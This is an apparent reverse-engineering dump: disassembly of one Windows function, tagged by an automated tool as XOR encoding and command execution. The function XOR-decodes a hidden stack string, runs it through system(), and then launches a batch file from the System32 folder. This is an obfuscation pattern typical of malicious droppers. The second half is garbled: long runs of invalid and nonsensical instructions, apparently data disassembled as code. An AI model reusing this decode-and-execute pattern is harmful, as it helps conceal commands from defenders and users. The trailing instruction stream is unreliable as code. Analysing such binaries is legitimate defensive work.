Function at 0x14003f1b0
Capabilities:
Encode data using xor
Execute command

Disassembly:
mov r11, rsp
sub rsp, 0xe8
movups xmm0, xmmword [0x1400faa40]
xor ecx, ecx
cmp dword [0x14010f0a0], 2
movups xmm1, xmmword [0x1400faa50]
movzx eax, byte [0x1400faad0]
movups xmmword [rsp + 0x30], xmm0
movups xmm0, xmmword [0x1400faa60]
movups xmmword [rsp + 0x50], xmm0
movups xmm0, xmmword [0x1400faa80]
movups xmmword [rsp + 0x40], xmm1
movups xmm1, xmmword [0x1400faa70]
movups xmmword [rsp + 0x70], xmm0
movups xmm0, xmmword [0x1400faaa0]
movups xmmword [rsp + 0x60], xmm1
mov byte [r11 - 0x28], al
movups xmm1, xmmword [0x1400faa90]
movups xmmword [r11 - 0x58], xmm0
movups xmm0, xmmword [0x1400faac0]
movups xmmword [r11 - 0x68], xmm1
movups xmm1, xmmword [0x1400faab0]
movups xmmword [r11 - 0x38], xmm0
movups xmmword [r11 - 0x48], xmm1
jl 0x14003f37c
movdqa xmm0, xmmword [str.4444444444444444]
lea rdx, [rsp + 0x34]
movdqa xmm4, xmmword [0x1400fb000]
movdqa xmm3, xmmword [0x1400fb410]
movdqa xmm5, xmmword [str.8888]
movdqa xmmword [rsp + 0x20], xmm0
mov r8d, dword [rsp + 0x20]
movaps xmmword [r11 - 0x18], xmm6
movdqa xmm6, xmmword [0x1400fb030]
nop dword [rax]
movd xmm2, ecx
lea eax, [rcx + 4]
pshufd xmm2, xmm2, 0
lea rdx, [rdx + 8]
paddd xmm2, xmm4
add ecx, 8
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm5
psubd xmm2, xmm0
movd xmm0, r8d
andps xmm2, xmm6
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rdx - 0xc]
xorps xmm2, xmm0
movd dword [rdx - 0xc], xmm2
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm4
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm5
psubd xmm2, xmm0
movd xmm0, r8d
andps xmm2, xmm6
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rdx - 8]
xorps xmm2, xmm0
movd dword [rdx - 8], xmm2
cmp ecx, 0x90
jl 0x14003f280
movaps xmm6, xmmword [rsp + 0xd0]
cmp ecx, 0x91
jge 0x14003f3c2
movsxd rax, ecx
lea r8, [rsp + 0x30]
add r8, rax
nop word [rax + rax]
mov eax, 0x92492493
lea r8, [r8 + 1]
imul ecx
add edx, ecx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x38
movzx eax, cl
inc ecx
sub al, dl
add al, 0x34
xor byte [r8 - 1], al
cmp ecx, 0x91
jl case.default.0x14003f3e6
lea rcx, [rsp + 0x30]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.cd_C:WindowsSystem32__start_clean.bat
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov ecx, 0x1f4
add rsp, 0xe8
jmp qword [sym.imp.KERNEL32.dll_Sleep]
lodsd eax, dword [rsi]
jbe 0x1401da168
and dword [rbx + rcx*8 - 0x6e], edx
mov dl, 0xfa
push rcx
pop rbx
sbb eax, 0x98406a6c
out 0x61, eax
call [rdx]
lodsd eax, dword [rsi]
invalid
fcomp st(7)
invalid
mov esi, 0xe63c7bdc
jle 0x1401da1ab
shr ch, cl
sub byte [rsi - 0xd7c4731], cl
add eax, 0x3232b82e
xor dh, byte [rdx]
cmp ah, byte [rsp + rax*8 + 0x4c]
sahf
cmp al, 0x39
pushfq
fdivr qword [rdx]
sti
cmc
out dx, eax
xchg esp, edx
push rsp
invalid
mov ebp, eax
loope 0x1401da15b
ret
xchg ecx, esi
loope 0x1401da123
invalid
or edx, 0x56
push rax
xchg esi, eax
push rdx
scasd eax, dword [rdi]
mov edi, 0x67a2ee06
iretd
retf 0x5056
jge 0x1401da227
fidiv dword [rcx + rcx + 0x5eef77b]
xchg ebp, eax
cwde
mov byte [rbp + rax*2 - 0x14], dh
in al, dx
in al, dx
cli
insb byte [rdi], dx
mov ebp, ds
stc
invalid
push 0x42
adc eax, 0x371c8d08
stosq qword [rdi], rax
invalid
mov bh, 0x8d
push rax
or cl, bh
sahf
xchg byte [r13 + r12*4 + 0xf], r13b
jne 0x1401da227
adc byte [rax], dh
sub byte [rax + 0x1392bb50], al
adc byte [rax - 0x45], 0x92
adc edx, edi
adc byte [rax - 0x45], 0x92
adc edx, edi
cmp eax, 0x3928a8c0
loope 0x1401da202
test al, 0x28
cmp ecx, esp
sti
xchg al, ah
ret
pop rbp
je 0x1401da197
sub dword [rdx], ebx
pop rdi
or dword [rdx + 0x4e], 0xa59fed34
xor al, 0xed
lahf
movsd dword [rdi], dword [rsi]
sbb sp, dx
int 0xf
invalid
mov bh, 0xaf
scasd eax, dword [rdi]
lodsb al, byte [rsi]
xor dword [rdx + rax], esi
ret 0xe19f
mov al, 3
mov gs, esi
test eax, 0xcf365b2d
sbb bl, byte [rdx + 0x40594915]
pop r9
leave
pop r9
leave
imul ebx, ebp, 0xffffffa6
xor eax, 0xb9a3a3a2
xchg dword [rdi - 0x19], esi
invalid
mov eax, 0x5a26f371
mov bh, 0x6e
invalid
mov al, 0
pop rbp
mov ebx, 0x24b8e576
imul eax, dword [rdi - 0x12090487], 0x6f
outsd dx, dword [rsi]
xchg dword [rcx - 5], edi
imul ch
outsd dx, dword [rsi]
pop rbp
and rax, 0xfffffffff6f37dbc
jge 0x1401da275
imul ch
mov esp, 0xedf6f37d
jge 0x1401da275
imul ch
sbb bh, byte [rbx + 0x120244eb]
mov dh, 0xc
invalid
mov ebx, 0x2e50ee7
invalid
and dword [rbp + riz*2 + 0x23], 0xffffffab
xor dword [rsi + rdi*2], 0xffffffa5
fld dword [rbp + 0x7d]
mov ecx, 0x3aa4868b
xchg ebx, eax
loope str.IY_I
mov ebx, esi
jle 0x1401da27f
jle 0x1401da27f
stosd dword [rdi], eax
adc dl, ch
add dword [rsi], eax
imul ecx, dword [rdx + 0x42], 0x585ce421
pop rsp
pop rax
invalid
wait
outsd dx, dword [rsi]
mov dl, 0x12
adc edx, dword [rbp + rdx*4 + 0x3c564a94]
bnd call 0xeff5a76c
invalid
or dword [rax], esp
push rsp
mov dl, 0x56
add cl, byte [rax]
add esp, edi
out 0x32, eax
fiadd dword [rbx + rbp*2 + 0x3c96d210]
invalid
invalid
invalid
std
and dh, byte [rdx + rbx*2 + 0x6a]
leave
leave
leave
xor eax, 0xc3d8e323
invalid
popfq
pop rbp
add eax, 0xa8f0a4f3
invalid
in al, 0x65
popfq
out dx, eax
add ah, byte [rcx + 0x75]
invalid
jne 0x1401dc071
invalid
outsb dx, byte [rsi]
fnstsw word [rdx - 0xbaa33b]
int1
mov ebp, dword [rdi]
mov esi, 0x59a1ac88
mov byte [rbx + 0x2cdee38b], cl
mov ecx, dword [rbx - 0x38d3211d]
cwde
cmp eax, 0xcd6ad06d
je 0x1401dc086
hlt
invalid
movabs byte [0x8d7cd20c0f21005a], al
out dx, al
stosb byte [rdi], al
xchg ebp, eax
cmp cl, byte [rax - 0x4a]
mov sil, 0x32
add dl, byte [rax]
sbb al, bh
sti
adc dword [rbp - 0x74], esp
xchg byte [rdx], al
or byte [rbp - 0x7e5fac54], dl
push rax
retf
movsb byte [rdi], byte [rsi]
fidivr dword ds:[rdx - 0x70590be7]
sbb esp, esi
cmpsb byte [rsi], byte [rdi]
invalid
int3
invalid
sahf
mov cl, 0x13
mov ebx, 0xba518a73
in al, 0xe4
in al, 0xa0
pop rbp
sti
jbe 0x1401dc0dc
retf
xor ebx, esp
sbb dword [rsi - 0x5c], esi
cmp dword [rdx - 0x5ce9c283], ebx
mov esi, 0xf35fdf89
fistp word [rdi - 0xd]
xchg ebp, eax
push rsi
mov dword [rbx + 0x78], edx
invalid